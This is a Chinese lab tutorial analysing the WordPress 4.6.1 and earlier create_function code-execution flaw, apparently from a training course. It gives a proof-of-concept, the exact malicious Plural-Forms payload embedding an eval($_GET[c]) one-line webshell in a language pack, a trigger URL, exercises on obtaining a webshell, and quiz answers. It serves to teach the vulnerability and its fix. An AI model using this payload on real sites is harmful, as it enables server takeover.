Wordpress 小于等于4.6.1版本任意代码执行漏洞分析

实验环境

操作机:Windows XP
目标机:Windows 2003 Server SP2

实验工具

  • PoEdit:PoEdit是一款文件编辑器,常用来汉化各种程序。它可以更加方便的办法编辑目录,而不用通过启动VI文本编辑器,手动编辑。因此使用起来十分的方便与快捷,本次实验主要用到它的将.mo格式文件转化为.po格式文件的文件功能和将.po格式文件转化为.mo格式文件的文件功能。

  • Notepad++: Notepad++ 是在微软窗口环境之下的一个免费的代码编辑器。功能十分强大,本次实验主要用到它的语法高亮度显示和文本内容搜索功能。

实验目的

  1. 掌握漏洞形成原因
  2. 掌握漏洞的验证方法

实验内容

漏洞简介
本次漏洞出现在wp-includes/pomo/translations.php,在一次用到create_function
的地方,create_function这个函数它的内部使用了 eval 来执行参数。
我们可以通过构造插件、语言包等,将一句话木马写入语言包中,当网站管理员安装我们的语言包的时候,create_function函数会把我们插入语言包中的一句话木马当做参数执行,这样一来,就成功的插入了一句话木马,从而达到任意代码执行的效果。

漏洞影响版本
Wordpress 4.6.1以下版本

漏洞危害
如果管理员不当操作,可导致网站直接被拿下后台权限,攻击者获取Webshell,甚至通过提权控制服务器,危害极大。

WordPress
WordPress是一种使用PHP语言开发的博客平台,是一款个人博客系统,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。
也可以把 WordPress当作一个内容管理系统(CMS)来使用。它是一款使用极其广泛的网站系统。

phpinfo()函数
本函数返回 PHP 的所有信息。
包括了 PHP 的编译选项及扩充配置、PHP 版本、服务器信息及环境变量、PHP 环境变量、操作系统版本信息、路径及环境变量配置、HTTP 标头、及版权宣告。

漏洞原理演示代码

$newfunc = create_function('$a,$b', 'return "$a+$b = ".($a+$b);} echo "OUT \n ";/*'); echo "New anonymous function: $newfunc \n";

可以看到,在上述示例代码中,函数调用create_function时,首先通过构造代码语句,使用}将原函数闭合,然后再添加我们想要执行的内容后再使用/*将后面不必要的部分注释掉。

之所以如此,是因为create_function内部使用了eval来执行代码,所以由于这个特性,如果我们可以控制create_function的$code参数,那就有了任意代码执行的可能。

其中echo OUT是我们添加构造的测试代码,如果成功,则输出OUT,否则报错。

构造完毕后,我们在本地测试一下,测试代码的内容就是网站ceshi/1.php,内容就为我们上面修改过的代码。

现在我们访问目标网址:172.16.12.2/ceshi/1.php


我们可以看到,输出了OUT,代表着成功执行了我们自己构造的语句。

实验步骤

步骤1:漏洞代码分析

本步骤将分析WordPress源码以及我们要构造的语言包插件源码

我们首先分析WordPress漏洞核心处的代码:

首先登录目标机,打开远程桌面连接,输入地址:172.16.12.2,输入账号administrator,密码ichunqiu进行远程登录访问。
打开c:/Apache2.2/htdocs/wordpress1/wp-includes/pomo/目录下的translations.php文件,右键点击使用Notepad++打开,我们将对这个文件进行源码分析,定位到源码的191-203行:


根据注释可以看到该函数的作用是根据字体文件中的plural forms这个header来创建函数并返回。

其中$expression用于组成$func_body,而$func_body作为$code参数传入了create_function。
因此最关键的地方就是控制$expresstion的值,因为$expresstion可以接受任何字符串和php代码,我们根据自己的需求,构造代码,利用上述原理,达到我们想要的目的,这便是漏洞所在。

接下来分析语言包插件的内容,并将恶意语句插入到语言包中。

我们再次打开c:/Apache2.2/htdocs/wordpress1/wordpress1/wp-content/languages/zh_CN.po,选中该文件,右键选择Notepad++ 打开该文件,使用Ctrl+f快捷键搜索关键字MIME,在MIME附近就是我们需要的核心的漏洞源码,操作如图:


找到MIME关键字附近的关键源码,如图:
Fig.4
Fig.4

这是我们将要构造的语言包,结合前面的WordPress漏洞源码分析:
其中:nplurals的值即为上文中$nplurals的值。
plural的值正是我们需要的$expression的值,plural其实就是payload,承载着我们构造的语句。

我们payload中的)首先闭合了前面的(,然后;结束前面的语句,接着是一句话木马,再用/*注释符,注释掉后面的语句。

通过这样,我们就将payload完整的传入了create_function,在其创建函数时我们payload就会被执行,由于访问每个文件时都要用这个对字体文件解析的结果对文件进行翻译,所以我们访问任何文件都可以触发这个payload。

因此现在对zh_CN.po文件源码做出改动,将第九行代码"Plural-Forms: nplurals=1; plural=0;\n"换成"Plural-Forms: nplurals=1; plural=n);}eval($_GET[c]);/*\n",使用GET方式传递参数,其中plural的值就是我们需要控制的payload。

然后,使用PoEdit打开zh_CN.po文件,按Ctrl+S进行保存,就可以进行漏洞验证了。


接下将进行任意代码执行验证操作步骤

步骤2:代码执行漏洞验证

本步将对代码进行漏洞验证

上一步我们在本地分析其原理后,登录目标机器,对目标网站做出了修改,现在进行漏洞验证:

漏洞验证:

访问目标网站地址:http://172.16.12.2/wordpress1/

我们对目标URL进行构造,使其触发任意代码执行漏洞。我们通过代码审计,发现payload会通过GET的方式接受c的值,这时我们可以在浏览器后面构造c=phpinfo();,其中phpinfo()是网站的探针界面,如果执行成功,则可以正常显示phpinfo的内容。

现在构造语句进行任意代码执行漏洞验证,访问构造好的地址:http://172.16.12.2/wordpress1/index.php?c=phpinfo();


可以看到任意代码执行漏洞就可以被触发,phpinfo()被执行,(我们甚至还可以通过中国菜刀连接一句话,拿到Webshell)

到这里,我们成功的验证了Wordpress任意代码执行漏洞。

步骤3:漏洞修复

语言包本身以及WordPress源码本身并没有错,只是在一些条件下会被攻击者利用,从而成为任意代码执行漏洞,根据攻击原理,应该注意:

1:WordPress的translations.php源码码的191-203行:我们对$expresstion的值进行过滤或替换,将敏感的字符),},;进行替换为空。
2:管理员应该注意,在官方发布补丁前建议增强安全意识,不要使用来路不明的字体文件、插件、主题等等。

思考

1.请修改语言包,构造语句函数,最终通过菜刀连接拿到Webshell。
2.请尝试对其他字体文件、插件、主题进行修改,并进行测试,看能否执行出本次试验的效果。

参考资料

http://www.tuicool.com/articles/2En2YfJ

课后习题

第1题:/ceshi/1.php 输出的内容为?

第2题:本次漏洞最为核心的函数是
A、create_function
B、create_function
C、index
D、phpinfo

第3题:有一个文件可以显示网页的配置信息、运行状态等等,这个文件是________?

第4题:本次PHP版本为________

参考答案:
1、OUT New anonymous function:lambda_1
2、A
3、
4、5.4.32

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 211,884评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,347评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,435评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,509评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,611评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,837评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,987评论 3 408
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,730评论 0 267
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,194评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,525评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,664评论 1 340
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,334评论 4 330
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,944评论 3 313
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,764评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,997评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,389评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,554评论 2 349

推荐阅读更多精彩内容